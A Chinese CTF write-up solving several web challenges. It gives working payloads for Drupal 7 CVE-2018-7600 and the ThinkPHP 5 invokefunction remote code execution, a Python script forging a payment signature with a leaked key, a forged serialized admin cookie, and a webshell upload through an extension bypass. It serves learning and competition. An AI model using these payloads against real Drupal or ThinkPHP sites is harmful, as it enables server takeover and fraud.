这个题目作为Web题的第一个题难度刚好,很基础的漏洞点,就考了个文件上传,上来直接用phtml就可以绕过,但是给出来的hint是.htaccess,可能是我非预期了?
菜刀链接获取flag
参考了这篇文章:https://www.menzel3.fun/2018/08/02/Drupal%20CVE2018-7600/#代码执行现场
这是一个Drupal 7的cve,照着构造payload就好,payload 分为两个请求。 先将 Payload 注入缓存中,构造下面的payload,发送一个POST包
POST请求:/?q=user/password&name[%23post_render][]=system&name[%23type]=markup&name[%23markup]=ls%20/
POST内容:form_id=user_pass&_triggering_element_name=name
获取form_build_id的value值:
然后再POST发送执行的包:/?q=file/ajax/name/%23value/form-b7pP9HUKwcQBEuhZ1GZ79qWXV0KRb5YxUGoWaozSPRU
这里也需要form_build_id的值,POST的内容也是:form_build_id=form-b7pP9HUKwcQBEuhZ1GZ79qWXV0KRb5YxUGoWaozSPRU
成功执行命令,这里注意一下参考文章里面的passthru
命令用不了,只能改为system
才能执行相关命令,所以上面缓存的时候换了用system
函数
再来一次cat /flag
的操作就可以读取flag了
这个题是个代码审计的题目,先把源码给down下来
打开这个网站发现有登陆注册功能,以及购买flag的功能,但是这里面要想得到真正的flag却需要888积分才可以购买,这个时候就感觉应该是越权购买flag的漏洞了。。。。
发现源码里面有数据库文件打开看一下,发现是存在管理员的,并且id是16,这个东西后期有用,而且他有30000积分,够买很多flag了,还有商品id 38也可以得知
看到代码里面的setting文件,有从secret.key读出来的秘钥
看一下里面的秘钥,一定要注意这里还有个回车啊啊啊啊,后边伪造签名有用
重点关注这段代码
这里可以看出单单对商品方做了校验(自检验),那购买者呢?不存在对其的任何校验,也就是没有做好双向的校验,这也说明我们可以从伪造购买者的方面去入手,让别人付钱23333
根据它里面的代码去构造signature就好了
from hashlib import md5
RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE = 'zhinianyuxin\n'
form = {
'order_id': '119',
'buyer_id': '16',
'good_id': '38',
'buyer_point': '200',
'good_price': '50',
'order_create_time': '1544796662.686132'
}
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form])
str2sign3= str2sign.encode('utf-8')
sign = md5(str2sign3).hexdigest()
print(sign)
发包构造一下得到flag,注意红色的地方也要做相应的修改,发包得到flag
这个题目就是最近几天刚爆出来的tp5远程getshell的漏洞,直接上网搜payload,参考了这篇文章:https://mp.weixin.qq.com/s/NQAZPz8uT8eNFyeMT4l8Ig
我用的是下面的payload:
http://219.219.61.234:10005/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
最后获取flag
http://219.219.61.234:10005/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
一进去之后会发现login功能没反应,而upload页面也需要管理员权限,肯定是要伪造自己是管理员的身份然后去挖掘文件上传的漏洞,查看源代码无果后顺手看看robots.txt
,发现里面有登录的地址
User-agent: *
Disallow: index.php?r=site/loginuser_1
然后就可以进去登陆的页面,再次查看源代码发现作者的信息
顺手去查一下,发现可以用test/cib_sec
登录但不是admin
,而且泄露的代码里面说明了可以伪造cookie,cookie名称是Cib_security,是一段经过序列化的东西,到时候就可以伪造了
##README.md
*** author: cib_zhinianyuxin.com
It's just a system which is not completed , there are some tips:
you can use test/cib_sec to login ,but you are not admin!
only admin can upload file ,but whichone can not bypass my rules.
/**
$sign = array(
'id'=>$model->id,
'name'=>$model->username,
'sign'=>md5($model->id.$model->username),
);
$_COOKIE['Cib_security'] = serialize($sign);
**/
以test身份登录后把cookie拿出来然后解码
然后把里面的MD5解一下发现是2test
,那我们就构造一个1admin
,构造如下的序列
a:3{s:2:"id";i:1;s:4:"name";s:5:"admin";s:4:"sign";s:32:"6c5de1b510e8bdd0bc40eff99dcd03f8";}
再次经过URL编码然后保存一下cookie就可以以admin身份登录,接上来就是文件上传的部分了,这里的文件上传就是个很简单的后缀名绕过,我试了贼久,这个后缀名有点偏,用的pht
,然后发包上传一句话木马,菜刀链接,成功获取flag
这个题目确实拓宽了新思路,做了好久才做出来由于特殊原因呢,就不发详细writeup了。。。。
这一次把web给ak了,真是舒服呐23333,截个图留念一下